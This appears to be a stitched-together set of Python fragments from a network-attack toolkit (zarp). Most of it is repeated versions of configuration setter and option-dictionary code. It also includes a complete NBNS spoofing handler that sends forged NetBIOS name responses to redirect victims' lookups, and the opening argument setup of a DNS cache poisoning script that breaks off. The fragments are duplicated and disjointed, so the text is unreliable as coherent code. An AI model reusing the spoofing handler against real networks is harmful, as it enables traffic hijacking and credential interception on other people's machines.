def set(key, value): """ Sets the key to the vale @param key is the configuration key @param value is what to set it to """ global CONFIG if key in CONFIG.opts: # sometimes we gotta do stuff with the key if key == 'iface': if not util.verify_iface(value): util.Error('\'%s\' is not a valid interface.' % (value)) return # valid iface, set new ipconfig new_ip = util.get_local_ip(value) if new_ip is not None: set('iface',value) set('ip_addr', new_ip) else: res = util.eval_type(value, CONFIG.opts[key]['type']) if res[0]: CONFIG.opts[key]['value'] = res[1] elif key in CONFIG._opts: # options not available in CLI res = util.eval_type(value, CONFIG._opts[key]['type']) if res[0]: CONFIG._opts[key]['value'] = res[1] else: return else: util.Error('Key "%s" not found. \'opts\' for options.' % (key))
def __init__(self): self.opts = { 'iface' : {'value':conf.iface, 'type':str}, 'debug' : {'value':False, 'type':bool}, 'ip_addr': {'value':util.get_local_ip(conf.iface),'type':str}, 'log' : {'value':'zarp_debug.log', 'type':str} }
def set(key, value): """ Sets the key to the vale @param key is the configuration key @param value is what to set it to """ global CONFIG if key in CONFIG.opts: # sometimes we gotta do stuff with the key if key == "iface": if not util.verify_iface(value): util.Error("'%s' is not a valid interface." % (value)) return # valid iface, set new ipconfig new_ip = util.get_local_ip(value) if new_ip is not None: set("iface", value) set("ip_addr", new_ip) else: res = util.eval_type(value, CONFIG.opts[key]["type"]) if res[0]: CONFIG.opts[key]["value"] = res[1] elif key in CONFIG._opts: # options not available in CLI res = util.eval_type(value, CONFIG._opts[key]["type"]) if res[0]: CONFIG._opts[key]["value"] = res[1] else: return else: util.Error("Key \"%s\" not found. 'opts' for options." % (key))
def __init__(self): self.opts = { 'iface' : {'value':conf.iface, 'type':str}, 'debug' : {'value':False, 'type':bool}, 'ip_addr': {'value':util.get_local_ip(conf.iface),'type':str}, 'log' : {'value':'zarp_debug.log', 'type':str} } self._opts = { 'db_ip' : {'value':'localhost','type':str}, 'db_port': {'value':None, 'type':int}, 'db_usr' : {'value':None, 'type':str}, 'db_pw' : {'value':None, 'type':str}, 'db_con' : {'value':None, 'type':str} }
def __init__(self): self.opts = { "iface": {"value": conf.iface, "type": "str"}, "debug": {"value": False, "type": "bool"}, "ip_addr": {"value": util.get_local_ip(conf.iface), "type": "ip"}, "log": {"value": "zarp_debug.log", "type": "str"}, } self._opts = { "db_ip": {"value": "localhost", "type": "ip"}, "db_port": {"value": None, "type": "int"}, "db_usr": {"value": None, "type": "str"}, "db_pw": {"value": None, "type": "str"}, "db_con": {"value": None, "type": "str"}, }
def __init__(self): self.opts = { 'iface' : {'value':conf.iface, 'type':'str'}, 'debug' : {'value':False, 'type':'bool'}, 'ip_addr': {'value':util.get_local_ip(conf.iface), 'type':'ip'}, 'log' : {'value':'zarp_debug.log', 'type':'str'} } self._opts = { 'db_ip' : {'value':'localhost','type':'ip'}, 'db_port': {'value':None, 'type':'int'}, 'db_usr' : {'value':None, 'type':'str'}, 'db_pw' : {'value':None, 'type':'str'}, 'db_con' : {'value':None, 'type':'str'} }
def handler(self,pkt): """Callback for packets""" if pkt.haslayer(NBNSQueryRequest): request = pkt[NBNSQueryRequest].getfieldval('QUESTION_NAME') ret = self.regex_match.search(request.lower()) if ret is None: return if not ret.group(0) is None and pkt[Ether].dst != self.local_mac \ and pkt[IP].src != util.get_local_ip(config.get('iface')): trans_id = pkt[NBNSQueryRequest].getfieldval('NAME_TRN_ID') response = Ether(dst=pkt[Ether].src, src=self.local_mac) response /= IP(dst=pkt[IP].src)/UDP(sport=137,dport=137) response /= NBNSQueryResponse(NAME_TRN_ID=trans_id, RR_NAME=request, NB_ADDRESS=self.redirect) del response[UDP].chksum # recalc checksum sendp(response) # layer 2 send for performance self.log_msg('Spoofing \'%s\' from %s'%(request.strip(),pkt[IP].src))
def set(key, value): """ Sets the key to the vale @param key is the configuration key @param value is what to set it to """ global CONFIG if key in CONFIG.opts: # sometimes we gotta do stuff with the key if key == 'iface': if not util.verify_iface(value): util.Error('\'%s\' is not a valid interface.' % (value)) return # valid iface, set new ipconfig new_ip = util.get_local_ip(value) if new_ip is not None: set('iface', new_ip) if CONFIG.opts[key]['type'] is bool: if evalBool(value) is not None: value = evalBool(value) else: return CONFIG.opts[key]['value'] = value elif key in CONFIG._opts: # options not available in CLI if CONFIG._opts[key]['type'] is bool: if evalBool(value) is not None: value = evalBool(value) else: return elif CONFIG._opts[key]['type'] is int: if not evalInt(value): return CONFIG._opts[key]['value'] = value else: util.Error('Key "%s" not found. \'opts\' for options.' % (key))
def __init__(self): self.opts = { 'iface' : conf.iface, 'debug' : util.isDebug, 'ip_addr': util.get_local_ip(conf.iface) }
# system imports import argparse import os import socket # local imports from util import get_local_ip parser = argparse.ArgumentParser( description="[Info] Captures network traffic and attempts to inject forged \ responses to poison the cache of a victim's resolver.") poison_ips = {} # dictionary of poison_ips mapped to hostnames to spoof poison_ip = get_local_ip() interface = "eth0" # default interface def main(): setup_args() args = parser.parse_args() run(args) def setup_args(): """ Sets up positional and optional arguments for command-line usage. """ parser.add_argument('-i', metavar='interface', help='the network device to listen to')
def get_local_ip(): return jsonify({'content': util.get_local_ip()})